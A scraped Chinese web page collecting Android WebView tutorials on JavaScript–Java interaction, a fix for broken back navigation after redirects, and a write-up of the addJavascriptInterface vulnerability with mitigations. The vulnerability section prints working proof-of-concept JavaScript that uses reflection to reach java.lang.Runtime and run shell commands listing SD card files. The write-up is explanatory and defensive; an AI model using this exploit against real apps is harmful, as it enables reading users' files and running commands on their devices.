WebView能不能在android加载html5页面应用本地写好html页面,页面上包含静态数据,然后通过js获取服务器端数据

&&精Android开发中在webview访问的html页面中添加js响应图片点击事件web开发中,点击图片后弹出图层显示原图的特效有很多,但android开发中也有类似的功能,于是在csdn的博客中找到一篇文章实现了该功能的雏形,想要更多特效,比如多个图片间切换只需要增加一些代码即可实现。开发环境:adt-bundle-windows-x86-&Genymotion源码截图:webview加载远程html文件后点击其中一个图片后gif动画演示原文:http://blog.csdn.net/wangtingshuai/article/details/8635787猜你喜欢7个牛币请下载代码后再发表评论//AndroidJavaScriptDemo/AndroidJavaScriptDemo/.classpath/AndroidJavaScriptDemo/.project/AndroidJavaScriptDemo/AndroidManifest.xml/AndroidJavaScriptDemo/bin/AndroidJavaScriptDemo/bin/AndroidJavaScriptDemo.apk/AndroidJavaScriptDemo/bin/AndroidManifest.xml/AndroidJavaScriptDemo/bin/classes/AndroidJavaScriptDemo/bin/classes/wst/AndroidJavaScriptDemo/bin/classes/wst/webview/AndroidJavaScriptDemo/bin/classes/wst/webview/BuildConfig.class/AndroidJavaScriptDemo/bin/classes/wst/webview/MainActivity$JavascriptInterface.class/AndroidJavaScriptDemo/bin/classes/wst/webview/MainActivity$MyWebViewClient.class/AndroidJavaScriptDemo/bin/classes/wst/webview/MainActivity.class/AndroidJavaScriptDemo/bin/classes/wst/webview/OnImageTouchedListener.class精精精精原精精原原精原精原相关分享精精最近下载暂无贡献等级暂无贡献等级暂无贡献等级暂无贡献等级暂无贡献等级最近浏览暂无贡献等级暂无贡献等级暂无贡献等级暂无贡献等级暂无贡献等级暂无贡献等级暂无贡献等级暂无贡献等级暂无贡献等级扫描二维码关注最代码为好友"/>扫描二维码关注最代码为好友Android开发中WebView与原生JS的数据交互详解-安卓教程-手机开发-壹聚教程网Android开发中WebView与原生JS的数据交互详解
分本文来分享详细的在Android开发中,如何利用WebView与原生JS的数据交互,本教程附有代码和效果图,是一个不可多得的好教程。
关于WebView我们知道目前android市场上的一些应用采用的开发方式大致分为三种:Native App、Web App、Hybrid App。本文主要是Hybrid App中实现的主要技术native组件与js的数据交互的理解以及实现。Android API中提供了WebView组件来实现对html的渲染。所谓的HybridApp开发方式即是汇集了HTML5、CSS3、jS的相关开发技术,以及数据交换格式json/XML。这显然是Web开发工程师的技能。正是因为如此,众多中小企业选择了这种开发方式来减少对android开发工程师的过度依赖,至于这三种开发方式的比较与优劣不在本文考虑之列。有了WebView这个组件,Android应用开发技术也就转嫁到html与java数据交互上来。说白了就是js与WebView的数据交互,这就是本文所要讨论的。WebView与js的数据交互1.&&&&&&& WebView中载入静态页面&将WebView添加到应用中。和原生控件一样,在layout引入WebView控件。代码片段如下:&?xml version=&1.0& encoding=&utf-8&?&&LinearLayout xmlns:android=&/apk/res/android&&&& android:id=&@+id/linearLayout&&&& android:layout_width=&match_parent&&&& android:layout_height=&match_parent&&&& android:background=&#000&&&& android:orientation=&horizontal& &&WebView&&& android:id=&@+id/webview&&&& android:layout_width=&match_parent&&&& android:layout_height=&match_parent& &&& /&&/LinearLayout&载入页面:&webView = (WebView) findViewById(R.id.webview);webView.loadUrl(&file:///file:///android_asset/page.html&);page.html存储在工程文件的assets根目录下。2.&&&&&&& 引入jquery mobile引入js框架让我们编写的html页面更接近于原生控件的显示效果。目前主流的移动应用js框架有:jquery mobile和sencha touch(jquery mobile与sencha touch的选型不在本文讨论范围)。本文选择使用jquery mobile。&首先,在webview添加对js的支持:WebSettings setting = webView.getSettings();setting.setJavaScriptEnabled(true);//支持js增加对中文的支持:WebSettings setting = webView.getSettings();setting.setDefaultTextEncodingName(&GBK&);//设置字符编码设置页面滚动条风格:webView.setScrollBarStyle(0);//滚动条风格,为0指滚动条不占用空间,直接覆盖在网页上jquery mobile提供的标准页面模板TemplateForJQuery.html:&!DOCTYPE html& &html& && &&head& && &&title&Page Title&/title& && &&& &&meta name=&viewport& content=&width=device-width, initial-scale=1&& && &&link rel=&stylesheet& href=&css/jquery.mobile-1.1.1.min.css& /&&& &&script src=&js/jquery.js&&&/script&&& &&script src=&js/jquery.mobile-1.1.1.min.js&&&/script&&/head& &body& &div data-role=&page&&&& &&div data-role=&header&&&& &&& &&h1&Page Title&/h1&&& &&/div&&!-- /header --&&& &&div data-role=&content&&&& &&& &&& &&p&Page content goes here.&/p&&& &&& &&& &&/div&&!-- /content --&&& &&div data-role=&footer&&&& &&& &&h4&Page Footer&/h4&&& &&/div&&!-- /footer --&&/div&&!-- /page --&&/body&&/html&页面依赖的js库、css等均放在assets目录下,目录组织结构如下:运行应用后的截图:下面是button 的截图,与原生控件没什么明显区别,有种以假乱真的感觉:3.&&&&&&& 良好的用户体验运行我们的应用发现,在拥有大量js的页面被载入时,一直处于等待中,这是很糟糕的用户体验。可以加入进度条解决。注意到webview提供的两个方法:setWebViewClient和setWebChromeClient。其中setWebChromeClient方法正是可以处理progress的加载,此外,还可以处理js对话框,在webview中显示icon图标等。对于处理progress的代码片段如下:webView.setWebChromeClient(new WebChromeClient() {&& &public void onProgressChanged(WebView view, int progress) {// 载入进度改变而触发&& &&& &&& &if (progress == 100) {&& &&& &&& &&& &&& &handler.sendEmptyMessage(1);// 如果全部载入,隐藏进度对话框&& &&& &&& &}&& &&& &&& &&& &super.onProgressChanged(view, progress);&& &&& &}});其中通过handler 消息机制来处理UI线程的更新:&&& &&& &handler = new Handler() {&& &&& &&& &public void handleMessage(Message msg) {// 定义一个Handler,用于处理下载线程与UI间通讯&& &&& &&& &&& &if (!Thread.currentThread().isInterrupted()){&& &&& &&& &&& &&& &switch (msg.what) {&& &&& &&& &&& &&& &case 0:&& &&& &&& &&& &&& &&& &pd.show();// 显示进度对话框&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &case 1:&& &&& &&& &&& &&& &&& &pd.hide();// 隐藏进度对话框,不可使用dismiss()、cancel(),否则再次调用show()时,显示的对话框小圆圈不会动。&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &}&& &&& &&& &&& &}&& &&& &&& &&& &super.handleMessage(msg);&& &&& &&& &}&& &&& &};对于setWebViewClient方法,一般用来处理html的加载(需要重载onPageStarted(WebView view, String url, Bitmap favicon))、关闭(需要重载onPageFinished(WebViewview, String url)方法)。&setWebViewClient和setWebChromeClient的作用:前者主要用于处理webView的控制问题,如加载、关闭、错误处理等;后者主要处理js对话框、图标、页面标题等。4.&&&&&&& 获取java中的数据单独构建一个接口,作为处理js与java的数据交互的桥梁,本文封装的代码AndroidToastForJs.java如下:public class AndroidToastForJs {&& &&& &private Context mCpublic AndroidToastForJs(Context context){&& &&& &this.mContext =&& &}&& &//webview中调用toast原生组件public void showToast(String toast) {&& &&& &Toast.makeText(mContext, toast, Toast.LENGTH_SHORT).show();&& &}&& &//webview中求和public int sum(int a,int b){&& &&& &return a+b;&& &}&& &&//以json实现webview与js之间的数据交互public String jsontohtml(){&& &&& &JSONO&& &&& &JSONArray array = new JSONArray();&& &&& &try {&& &&& &&& &map = new JSONObject();&& &&& &&& &map.put(&name&,&aaron&);&& &&& &&& &map.put(&age&, 25);&& &&& &&& &map.put(&address&, &中国上海&);&& &&& &&& &array.put(map);&& &&& &&& &&& &&& &&& &map = new JSONObject();&& &&& &&& &map.put(&name&,&jacky&);&& &&& &&& &map.put(&age&, 22);&& &&& &&& &map.put(&address&, &中国北京&);&& &&& &&& &array.put(map);&& &&& &&& &&& &&& &&& &map = new JSONObject();&& &&& &&& &map.put(&name&,&vans&);&& &&& &&& &map.put(&age&, 26);&& &&& &&& &map.put(&address&, &中国深圳&);&& &&& &&& &map.put(&phone&,&&);&& &&& &&& &array.put(map);&& &&& &}
(JSONException e) {&& &&& &&& &e.printStackTrace();&& &&& &}&& &&& &return array.toString();&& &}}&Webview提供的传入js的方法:webView.addJavascriptInterface(new AndroidToastForJs(mContext), &JavaScriptInterface&);Html页面jsonData.html设计的部分代码如下:&& &&script type=&text/&&&& &var result = JavaScriptInterface.jsontohtml();&& &var obj = eval(&(&+result+&)&);//解析json字符串&& &function showAndroidToast(toast) && &{&&&&&& &&& &&& &JavaScriptInterface.showToast(toast); &&& }&& &function getjsonData(){&& &&& &var result = JavaScriptInterface.jsontohtml();&& &&& &var obj = eval(&(&+result+&)&);//解析json字符串&& &&& &for(i=0;i&obj.i++){&& &&& &&& &var user=obj[i];&& &&& &&& &document.write(&&p&姓名:&+user.name+&&/p&&);&& &&& &&& &document.write(&&p&年龄:&+user.age+&&/p&&);&& &&& &&& &document.write(&&p&地址:&+user.address+&&/p&&);&& &&& &&& &if(user.phone!=null){&& &&& &&& &&& &document.write(&&p&手机号码:&+user.address+&&/p&&);&& &&& &&& &}&& &&& &}&& &}&& &&& &function list(){&& &&& &document.write(&&div data-role='header'&&p&another&/p&&/div&&);&& &}&& &&/script&&/head& &body& &div data-role=&page& &&& &&div data-role=&header& data-theme=&c&&&& &&& &&h1&Android via Interface&/h1&&& &&/div&&!-- /header --&&& &&div data-role=&content&&&& &&& &&& &&button value=&say hello& onclick=&showAndroidToast('Hello,Android!')& data-theme=&e&&&/button&&& &&& &&button value=&get json data& onclick=&getjsonData()& data-theme=&e&&&/button&&& &&& &&/div&&!-- /content --&&div data-role=&collaible& data-theme=&c& data-content-theme=&f&&&& &h3&I'm &script&document.write(obj[0].name);&/script&,click to see my info&/h3&&& &p&&script&document.write(&&p&姓名:&+obj[0].name+&&/p&&);&/script&&/p&&& &p&&script&document.write(&&p&年龄:&+obj[0].age+&&/p&&);&/script&&/p&&& &p&&script&document.write(&&p&地址:&+obj[0].address+&&/p&&);&/script&&/p&&/div&&& &&div data-role=&footer& data-theme=&c&&&& &&& &&h4&Page Footer&/h4&&& &&/div&&!-- /footer --&&/div&&!-- /page --&&/body&点击say hello按钮运行的截图如下:另外一篇关于webview与js交互对于android初学者应该都了解webView这个组件。之前我也是对其进行了一些简单的了解,但是在一个项目中不得不用webview的时候,发现了webview的强大之处,今天就分享一下使用webview的一些经验。&1、首先了解一下webview。webview介绍的原文如下:A View that displays web pages. This class is the basis upon which you can roll your own web browser or simply display some online content within your Activity. It uses the WebKit rendering engine to display web pages and s methods to navigate forward and backward through a history, zoom in and out, perform text searches and more.从上面你应该了解到了基本功能,也就是显示网页。之所以我说webview功能强大是因为它和js的交互非常方便,很简单就可以实现。&2、webview能做什么?①webView可以利用html做界面布局,虽然目前还比较少人这么使用,不过我相信当一些客户端需要复杂的图文(图文都是动态生成)混排的时候它肯定是个不错的选择。②直接显示网页,这功能当然也是它最基本的功能。③和js交互。(如果你的js基础比java基础好的话那么采用这种方式做一些复杂的处理是个不错的选择)。&3、如何使用webview?这里直接用一个svn上取下的demo,先上demo后讲解。demo的结构图如下:&WebViewDemo.javapackage com.google.android.import android.app.Aimport android.os.Bimport android.os.Himport android.util.Limport android.webkit.JsRimport android.webkit.WebChromeCimport android.webkit.WebSimport android.webkit.WebV/**&* Demonstrates how to embed a WebView in your activity. Also demonstrates how&* to have javascript in the WebView call into the activity, and how the activity &* can invoke javascript.&* &p&&* In this example, clicking on the android in the WebView will result in a call into&* the activities code in {@link DemoJavaScriptInterface#clickOnAndroid()}. This code&* will turn around and invoke javascript using the {@link WebView#loadUrl(String)}&* method.&* &p&&* Obviously all of this could have been accomplished without calling into the activity&* and then back into javascript, but this code is intended to show how to set up the &* code paths for this sort of communication.&*&*/public class WebViewDemo extends Activity {&&& private static final String LOG_TAG = &WebViewDemo&;&&& private WebView mWebV&&& private Handler mHandler = new Handler();&&& @Override&&& public void onCreate(Bundle icicle) {&&&&&&& super.onCreate(icicle);&&&&&&& setContentView(R.layout.main);&&&&&&& mWebView = (WebView) findViewById(R.id.webview);&&&&&&& WebSettings webSettings = mWebView.getSettings();&&&&&&& webSettings.setSavePassword(false);&&&&&&& webSettings.setSaveFormData(false);&&&&&&& webSettings.setJavaScriptEnabled(true);&&&&&&& webSettings.setSupportZoom(false);&&&&&&& mWebView.setWebChromeClient(new MyWebChromeClient());&&&&&&& mWebView.addJavascriptInterface(new DemoJavaScriptInterface(), &demo&);&&&&&&& mWebView.loadUrl(&file:///android_asset/demo.html&);&&& }&&& final class DemoJavaScriptInterface {&&&&&&& DemoJavaScriptInterface() {&&&&&&& }&&&&&&& /**&&&&&&&& * This is not called on the UI thread. Post a runnable to invoke&&&&&&&& * loadUrl on the UI thread.&&&&&&&& */&&&&&&& public void clickOnAndroid() {&&&&&&&&&&& mHandler.post(new Runnable() {&&&&&&&&&&&&&&& public void run() {&&&&&&&&&&&&&&&&&&& mWebView.loadUrl(&javascript:wave()&);&&&&&&&&&&&&&&& }&&&&&&&&&&& });&&&&&&& }&&& }&&& /**&&&& * Provides a hook for calling &alert& from javascript. Useful for&&&& * debugging your javascript.&&&& */&&& final class MyWebChromeClient extends WebChromeClient {&&&&&&& @Override&&&&&&& public boolean onJsAlert(WebView view, String url, String message, JsResult result) {&&&&&&&&&&& Log.d(LOG_TAG, message);&&&&&&&&&&& result.confirm();&&&&&&&&&&&&&&&&&& }&&& }}&demo.html&html&&&& &script language=&javascript&&&&&&&&& /* This function is invoked by the activity */&&&&&&& function wave() {&&&&&&&&&&& alert(&1&);&&&&&&&&&&& document.getElementById(&droid&).src=&android_waving.png&;&&&&&&&&&&& alert(&2&);&&&&&&& }&&& &/script&&&& &body&&&&&&&& &!-- Calls into the javascript interface for the activity --&&&&&&&& &a onClick=&window.demo.clickOnAndroid()&&&div style=&width:80&&&&&&&&&&& margin:0&&&&&&&&&&& padding:10&&&&&&&&&&& text-align:&&&&&&&&&&& border:2px solid #202020;& &&&&&&&&&&&&&&&& &img id=&droid& src=&android_normal.png&/&&br&&&&&&&&&&&&&&&& Click me!&&&&&&& &/div&&/a&&&& &/body&&/html&&main.xml&LinearLayout xmlns:android=&/apk/res/android&&&& android:orientation=&vertical&&&& android:layout_width=&fill_parent&&&& android:layout_height=&fill_parent&&&& &&& &&&& &TextView &&&&&&&& android:layout_width=&fill_parent& &&&&&&& android:layout_height=&wrap_content& &&&&&&& android:text=&@string/intro&&&&&&&& android:padding=&4dip&&&&&&&& android:textSize=&16sp&&&&&&&& /&&& &&&& &WebView&&&&&&& android:id=&@+id/webview&&&&&&&& android:layout_width=&fill_parent& &&&&&&& android:layout_height=&0dip&&&&&&&& android:layout_weight=&1&&&&&&&& /&&&&&&& &&/LinearLayout&&4、如何交互?①android如何调用js。调用 形式:mWebView.loadUrl(&javascript:wave()&);其中wave()是js中的一个方法,当然你可以把这个方法改成其他的方法,也就是android调用其他的方法。②js如何调用android。调用形式:&a onClick=&window.demo.clickOnAndroid()&&代码中的“demo”是在android中指定的调用名称,即&mWebView.addJavascriptInterface(new DemoJavaScriptInterface(), &demo&);代码中的clickOnAndroid()是“demo”对应的对象:new DemoJavaScriptInterface() 中的一个方法。③双向交互。当然是把前面的两种方式组合一下就可以了。&5、讲解demo。现在你一定了解了android和js的交互了。是时候分析一些demo了,根据上面讲的你也应该比较清楚了。具体交互流程如下:①点击图片,则在js端直接调用android上的方法clickOnAndroid();②clickOnAndroid()方法(利用线程)调用js的方法。③被②调用的js直接控制html。&个人总结:利用webView的这种方式在有些时候UI布局就可以转成相应的html代码编写了,而html布局样式之类有DW这样强大的工具,而且网上很多源码,很多代码片。在UI和视觉效果上就会节省很多时间,重复发明轮子没有任何意义。
名称:大小:9.96MM下载:
上一页: &&&&&下一页:相关内容Android中WebView无法后退和js注入漏洞的解决方案
作者:时之沙
字体:[ ] 类型:转载 时间:
这篇文章主要介绍了Android中WebView无法后退和js注入漏洞解决方案,其中js注入主要针对安卓4.2及以下版本中WebView的漏洞,需要的朋友可以参考下
因重定向无法正常goBack()解决方案
首先说下问题,初始页面为A,点击某个链接跳转到B(.cn/),B页面重定向到C页面(.cn/website/index.html)
当调用webview.goBack()时,页面回退到B,然后接着会重定向回C页面.
这样会导致两个问题:
1. 无法回退到webview的初始页面A
2. 无法正常退出Activity或者Fragment(只有还未加载完C时进行回退才能退出页面)
关于如何解决这个问题,我总结了如下三种方法,可以根据具体情况进行使用:
一. 首先需要和前端开发人员沟通,看重定向是否必要,如果跳转链接只是域名,然后默认重定向到& 域名/index.html,并没有特殊处理的话,那么这种重定向并没有意义.
只要将网页中的连接,比如
&a href=".cn"/&
直接替换为
&a href="http:///.cn/index.html"/&
即可解决该问题.
二.页面中的重定向是必须的,那么我们就需要自己维护一个webview的历史栈,根据自己的需求进行过滤跳转或者重新加载页面:
判断到当前为重定向后的链接,那么那么当回退的时候就需要忽略上一级的链接,不使用webview.goback(),移除重定向和重定向后的url,
获取到初始页面链接后自己进行loadUrl()操作.
3.还有一种方法,和方法2类似,需要自己维护webview的历史栈,但是需要前端的配合,提供js函数获取网页是否进行重定向
在webviewClient回调shouldoverloading()中过滤url时,若属于重定向的地址,则不加入栈中,回退时根据历史栈加载即可.
这里主要讲一下方法二:
首先定义一个历史栈 :
private ArrayList&String& loadHistoryUrls = new ArrayList&String&();
把初始页面Url加入
loadHistoryUrls.add(INITAL_WEB_URL);
然后加入加载的url:
public boolean shouldOverrideUrlLoading(WebView view,String url){
//将过滤到的url加入历史栈中
loadHistoryUrls.add(url);
最后在webview.goback()处理:
public boolean onKeyDown(int keyCode, KeyEvent event) {
//判断是否可以返回操作
if (webView.canGoBack() && event.getKeyCode() == KeyEvent.KEYCODE_BACK) {
//过滤是否为重定向后的链接
if(loadHistoryUrls.size()&0&&loadUrls.get(loadHistoryUrls.size()-1).contains("index.html"))
//移除加载栈中的最后两个链接
loadHistoryUrls.remove(loadHistoryUrls.get(loadHistoryUrls.size()-1));
loadHistoryUrls.remove(loadHistoryUrls.get(loadHistoryUrls.size()-1));
//加载重定向之前的页
webview.load(loadUrls.get(loadHistoryUrls.size()-1));
关于加载栈,后来发现webview本身也有对应的API:
//获取历史列表
WebBackForwardList mWebBackForwardList = webView.copyBackForwardList();
不过这个api可能受系统版本的影响或者不同手机系统进行了修改
所以解决该问题时,大家可以自己根据需求,自己维护加载的历史栈或者直接调用系统api.
这里总结一下,若重定向非必要,采取方案一,最简单,修改量也非常小. 重定向必要,则使用方案二或者方案三.
因为需要和前端人员交互,方案三所需要的沟通,开发,维护的成本要比方案二高出不少,但对于是否重定向的判断非常准确,若有多个重定向的情况,一次开发完成后不需要对代码再次改动.& 方案二则需要写死需要过滤的url,若出现多个重定向,则会显得代码比较臃肿,每次都需要重新增加代码. 具体使用依据项目中的开发情况而定.
&&&&&& 最后再补充一种通用的办法,但是需要后台的强大支持: 在webview进行加载时,将请求发送至服务器,然后由服务器进行分析处理,将处理后的结果返回给客户端进行显示. 并且可以由服务器对网页内容进行编码或者取出冗余,并结合cdn提升响应速度,这也是目前浏览器开发常用的一种策略.但是需要大量的数据收集,分析和处理,对于服务器的依赖比较严重,若开发进度较紧或者公司资源有限,可先参照以上办法进行解决.
&&&& 最重还要讲的一点, 本篇文章主要是对于加载己方开发的H5中遇到问题的解决,至于第三方网站加载,这个是没有办法解决的. 包括微信上也一样,对于各种公众平台和第三方链接,是没有通用解决方案的, 所以他们在交互上进行了处理 ,在H5进行一次跳转就会在标题栏左上角出现关闭按钮. 毕竟用户是不知道快速连续点击两次返回才能正常返回首页的.
Js对象注入漏洞解决方案
1,使用场景
我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
我们向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。
我们一起来看看关于addJavascriptInterface方法在Android官网的描述:
This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
The Java object's fields are not accessible.
简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。
2,漏洞描述
通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述:猛点这里
1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.
3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:
function execute(cmdArgs)
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
&3,漏洞证明
举例一:为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:
&meta http-equiv="Content-Type" content="text/ charset=UTF-8"&
function getContents(inputStream)
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bS
contents += "\n"
b = inputStream.read();
function execute(cmdArgs)
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
&script language="javascript"&
function onButtonClick()
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
alert(text);
function onImageClick()
//Call the method of injected object from Android source.
var src = document.getElementById("image").
var width = document.getElementById("image").
var height = document.getElementById("image").
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
&p&点击图片把URL传到Java代码&/p&
&img class="curved_box" id="image"
onclick="onImageClick()"
width="328"
height="185"
src="/it/u=&fm=21&gp=0.jpg"
onerror="this.src='background_chl.jpg'"/&
&button type="button" onclick="onButtonClick()"&与Java代码交互&/button&
这段HTML的运行效果如下:
图一:期望运行结果图
上图中,点击按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。
简单说明一下
1,请看execute()这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Java代码实现如下:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
需要添加的权限:
&uses-permission android:name="android.permission.INTERNET"/&
&uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /&
&uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /&
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)
图二:实际运行结果,列出了SDCard中的文件
举例二:360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:/jsobj.html,然后前往,它会出现如下的界面
图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。
在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示
图四:错误结果
4,解决方案
(1),Android 4.2以上的系统
在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:
(2),Android 4.2以下的系统
这个问题比较难解决,但也不是不能解决。
首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到WebChromeClient类中相应的方法,对于prompt,它对应的方法是onJsPrompt方法,这个方法的声明如下:
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?
经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:
【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含:特定标识,方法名称,参数等。在onJsPrompt方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。
【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。
【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:
javascript:(function JsAddJavascriptInterface_(){
if (typeof(window.jsInterface)!='undefined') {
console.log('window.jsInterface_js_interface_name is exist!!');}
window.jsInterface = {
onButtonClick:function(arg0) {
return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
onImageClick:function(arg0,arg1,arg2) {
prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
【1】,上面代码中的jsInterface就是要注册的对象名,它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。
【2】,prompt中是我们约定的字符串,它包含特定的标识符MyApp:,后面包含了一串JSON字符串,它包含了方法名,参数,对象名等。
【3】,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的onJsPrompt方法,我们再解析出方法名,参数,对象名,再反射调用方法。
【4】,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是:方法名:function(参数1,参数2)
5,一些思考
以下是在实现这个解决方案过程中遇到的一些问题和思考:
(1)生成Js方法后,加载这段Js的时机是什么?
刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:
onLoadResource
doUpdateVisitedHistory
onPageStarted
onPageFinished
onReceivedTitle
onProgressChanged
目前测试了这几个地方,没什么问题,这里我也不能完全确保没有问题。
(2)需要过滤掉Object类的方法
由于通过反射的形式来得到指定对象的方法,他会把基类的方法也会得到,最顶层的基类就是Object,所以我们为了不把getClass方法注入到Js中,所以我们需要把Object的公有方法过滤掉。这里严格说来,应该有一个需要过滤方法的列表。目前我的实现中,需要过滤的方法有:
&&&&&&& "getClass",
&&&&&&& "hashCode",
&&&&&&& "notify",
&&&&&&& "notifyAll",
&&&&&&& "equals",
&&&&&&& "toString",
&&&&&&& "wait",
(3)通过手动loadUrl来加载一段js,这种方式难道js中的对象就不在window中吗?也就是说,通过遍历window的对象,不能找到我们通过loadUrl注入的js对象吗?
关于这个问题,我们的方法是通过Js声明的,通过loadUrl的形式来注入到页面中,其实本质相当于把我们这动态生成的这一段Js直接写在Html页面中,所以,这些Js中的window中虽然包含了我们声明的对象,但是他们并不是Java对象,他们是通过Js语法声明的,所以不存在getClass之类的方法。本质上他们是Js对象。
(4)在Android 3.0以下,系统自己添加了一个叫searchBoxJavaBridge_的Js接口,要解决这个安全问题,我们也需要把这个接口删除,调用removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。
(5)在实现过程中,我们需要判断系统版本是否在4.2以下,因为在4.2以上,Android修复了这个安全问题。我们只是需要针对4.2以下的系统作修复。
您可能感兴趣的文章:
大家感兴趣的内容
12345678910
最近更新的内容
常用在线小工具}

我要回帖

更多关于 android html页面 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信